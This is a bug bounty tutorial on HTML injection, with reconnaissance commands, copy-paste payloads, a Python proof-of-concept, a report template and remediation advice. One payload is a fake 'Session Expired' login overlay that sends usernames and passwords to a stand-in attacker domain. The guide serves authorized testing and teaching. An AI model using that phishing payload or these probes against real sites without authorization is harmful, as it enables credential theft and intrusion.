How to Find and Exploit HTML Injection — A Complete Guide for Bug Bounty Hunters



This post is provided strictly for educational purposes. It is intended solely for authorized security researchers participating in bug bounty programs or conducting penetration tests on targets where explicit permission has been granted. Unauthorized testing of any system violates applicable laws and ethical standards. All techniques described must be performed only within the defined scope of an authorized program.

1. INTRODUCTION

HTML Injection is a web application vulnerability that occurs when user-supplied input is included in the server’s HTML response without proper sanitization or encoding. An attacker can insert arbitrary HTML tags and attributes, which the victim’s browser then renders as part of the legitimate page structure.

This vulnerability is dangerous because it compromises the integrity of the rendered web page. Attackers can alter page layout, inject misleading content, create phishing forms that harvest credentials, or perform visual defacement. While it does not always allow JavaScript execution (distinguishing it from full XSS), it can still facilitate social engineering attacks, data theft through forged interfaces, or serve as a precursor to more severe exploits when combined with other weaknesses. In severe cases, it undermines user trust and can lead to account compromise or reputational damage for the affected organization.

HTML Injection is commonly found in:

  • Reflected parameters (search fields, error messages, query strings).
  • Stored user-controlled data (profiles, comments, email templates, support chat interfaces).
  • Custom error pages, headers, footers, or dynamically generated content where output encoding is omitted.

2. RECONNAISSANCE

Effective reconnaissance identifies endpoints that reflect user input into HTML contexts. Focus on parameters that appear in the page source without escaping.

Commands to find vulnerable endpoints (copy-paste ready):

# Crawl the target and extract URLs with potential parameters (requires katana installed)
katana -u https://target.com -jc -o endpoints.txt

# Alternative: Use gau for historical URLs and filter common injection points
gau target.com | grep -E '\?(q|search|query|id|name|email|message|comment)=' | tee potential-params.txt

# Fuzz for additional parameters (requires Arjun)
arjun -u https://target.com/endpoint -m GET -o parameters.json

Tools and exact syntax:

  • ffuf (for parameter fuzzing on a known endpoint):

    ffuf
    -u "https://target.com/search?FUZZ=test" -w /usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt -mc 200 -fs 0
  • Burp Suite (manual): Intercept requests in the Proxy tab, send to Repeater, and test parameters manually.

What to look for in responses:

Examine the raw HTML response for the exact input string appearing unencoded. Indicators include:

  • Your test string (e.g., “INJECT123”) appearing inside <div>, <p>, or attribute values without HTML entity encoding (&lt; instead of <).
  • Browser rendering the input as HTML elements rather than plain text.
  • Absence of Content-Security-Policy headers that would block injected resources, or weak escaping functions.

3. TESTING METHODOLOGY

Follow this step-by-step process on any identified parameter within an authorized scope.

Step-by-step testing process:

  1. Send a benign test string to confirm reflection: INJECT123.
  2. Attempt basic HTML tag injection to break out of context.
  3. Escalate to structured HTML elements that visibly alter the page.
  4. Test for stored vs. reflected behavior by submitting via forms and revisiting the affected page.
  5. Verify impact in a real browser (Chrome/Firefox) to confirm rendering.

Exact payloads to try (copy-paste ready; replace [PAYLOAD] and target URL):

Basic reflection test:


curl -s "https://target.com/search?query=INJECT123" | grep -o "INJECT123"

Context breakout + visible injection:


# Payload: "><h1 style="color:red">HTML_INJECTION_SUCCESS</h1><br>
curl -s "https://target.com/search?query=%22%3E%3Ch1+style%3D%22color%3Ared%22%3EHTML_INJECTION_SUCCESS%3C%2Fh1%3E%3Cbr%3E" -o response.html

Phishing-style form injection (for impact demonstration):

# Payload: <div style="position:fixed;top:0;left:0;width:100%;height:100%;background:rgba(0,0,0,0.8);z-index:9999;"><div style="background:#fff;padding:20px;margin:100px auto;width:400px;border-radius:10px;text-align:center;"><h2 style="color:#d32f2f">Session Expired</h2><p>Please re-authenticate</p><form action="https://attacker-controlled-domain.com/steal" method="POST"><input type="text" name="username" placeholder="Username" style="width:100%"><br><br><input type="password" name="password" placeholder="Password" style="width:100%"><br><br><button type="submit" style="background:#d32f2f;color:#fff;padding:10px">Login</button></form></div></div>

Marquee or image injection (non-script visual proof):


# Payload: <marquee style="color:blue;font-size:30px">HTML Injection Confirmed by Authorized Researcher</marquee>

How to know if it is vulnerable:

  • The injected HTML renders visibly in the browser (e.g., large red heading or scrolling text appears).
  • Page source shows your raw tags unescaped.
  • No error or sanitization occurs; the element is parsed by the DOM.

4. EXPLOITATION

Once confirmed, demonstrate impact with a clean proof-of-concept.

Working proof-of-concept code (Python requests for repeatable testing):


import requests

url = "https://target.com/search"
params = {
    "query": '"><h1 style="color:red;border:5px solid red;padding:10px">HTML INJECTION POC - AUTHORIZED TEST ONLY</h1><p style="color:red">This demonstrates arbitrary HTML rendering.</p>'
}

response = requests.get(url, params=params)
with open("poc_response.html", "w") as f:
    f.write(response.text)

print("POC saved. Open poc_response.html in a browser to view rendered injection.")

Real HTTP requests/responses (example):

Request (reflected HTML Injection):

GET /search?query=%22%3E%3Ch1+style%3D%22color%3Ared%22%3EHTML_INJECTION_POC%3C%2Fh1%3E HTTP/1.1
Host: target.com
User-Agent: Mozilla/5.0

Response snippet (vulnerable):

<div class="search-results">
  "><h1 style="color:red">HTML_INJECTION_POC</h1>
  ...rest of page...
</div>

The browser renders the <h1> as a prominent red heading, proving control over page content.

Commands to execute the POC:


# Single command to send and view
curl -s "https://target.com/search?query=%22%3E%3Ch1+style%3D%22color%3Ared%22%3EHTML_INJECTION_POC%3C%2Fh1%3E" | lynx -dump -stdin

5. REPORT WRITING

Use the following HackerOne/Bugcrowd-compatible template.

Report Title: HTML Injection in [Endpoint/Parameter] Allowing Arbitrary HTML Rendering

Description: HTML Injection vulnerability was identified in the [specific endpoint/parameter]. User-supplied input is reflected without sanitization, enabling injection of arbitrary HTML tags that are rendered by the browser.

Steps to Reproduce:

  1. Navigate to https://target.com/[endpoint].
  2. Submit the following payload in the [parameter] field: "><h1 style="color:red">HTML_INJECTION_POC</h1>
  3. Observe the rendered HTML element on the page.

Impact: An attacker can manipulate page content, inject phishing forms, or deface the interface, potentially leading to credential theft or loss of user trust.

Severity Rating:

  • Bugcrowd VRT / HackerOne: Medium (if reflected and visually impactful) or Low (limited scope).
  • CVSS v3.1: 5.4 (Medium) – AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N (example; adjust based on context).

Remediation Advice:

  • Implement context-aware output encoding (e.g., HTML-escape all user input using libraries such as OWASP Java Encoder, Python’s html.escape, or Go’s html/template).
  • Apply Content-Security-Policy (CSP) headers to restrict resource loading.
  • Validate and sanitize all input on the server side before rendering.
  • Avoid using innerHTML or equivalent unsafe DOM manipulation on the client side.

6. REFERENCES

  • OWASP Web Security Testing Guide: Testing for HTML Injection.
  • Real-world disclosed reports:
    • Snapchat HTML injection via search parameter (HackerOne Report #2018615).
    • HTML Injection in email templates (Bugcrowd disclosure – HubSpot program).
    • HTML Injection in LinkedIn Premium Support Chat (HackerOne).
    • Additional examples documented in public bug bounty write-ups on Medium and InfoSec Write-ups, including stored HTML Injection in user profiles.

Security researchers are encouraged to report findings responsibly and collaborate with program teams to improve application security. Always adhere to program rules and scope.